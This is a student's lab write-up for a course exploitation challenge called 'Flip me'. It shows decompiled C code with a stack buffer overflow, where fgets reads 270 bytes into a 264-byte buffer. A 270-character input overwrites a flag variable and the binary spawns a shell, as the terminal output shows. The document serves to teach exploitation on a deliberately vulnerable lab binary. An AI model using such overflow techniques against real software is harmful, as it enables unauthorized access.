CS 395

G01167216

Nghi Vi

Final Project Writeup

Flip me

I. Reconnaissance

```
2  void game(void)
3
4  {
5    int num1;
6    char buffer [264];
7    int num2;
8    int num3;
9
0    num2 = 0;
1    num3 = 0;
2    printf("Guess a number between 0 and 9999: ");
3    fgets(buffer,0x10e,stdin);
4    __isoc99_sscanf(buffer,&DAT_0010202c,&num2);
5    num1 = rand();
6    if (num1 % 1000 == num2) {
7      puts("You were correct!");
8    }
9    else {
0      puts("You guessed wrong!");
1    }
2    if (num3 != 0) {
3      system("/bin/sh");
4    }
5    return;
6  }
7
```

For this challenge, the goal is to overflow the stack so that we can rewrite variable num3 to be something different from 0.
To do this, we exploit the buffer overflow vulnerability when fgets takes in 0x10e = 270 bytes into a 264 bytes buffer.

We can use this to overwrite num3 to a value != 0

II. Crafting Exploit

```
┌──(cs395㉿kali)-[~/Desktop/CS395_Final_Challenges/Flip _Me]
└─$ python -c  'print "1" *270 '                                    130 ×
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111
111111111111111

┌──(cs395㉿kali)-[~/Desktop/CS395_Final_Challenges/Flip _Me]
```

Inject this :

III. Result

```
┌──(cs395㉿kali)-[~/Desktop/CS395_Final_Challenges/Flip _Me]
└─$ python -c  'print "1" *270 '                                    130 ×
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111
111111111111111

┌──(cs395㉿kali)-[~/Desktop/CS395_Final_Challenges/Flip _Me]
└─$ ./flipme
This binary is worth 10 points.

Let's play a game!
Guess a number between 0 and 9999: 11111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111
You guessed wrong!
$ ls
flipme
$ whoami
cs395
$ pwd
/home/cs395/Desktop/CS395_Final_Challenges/Flip _Me
$ 
```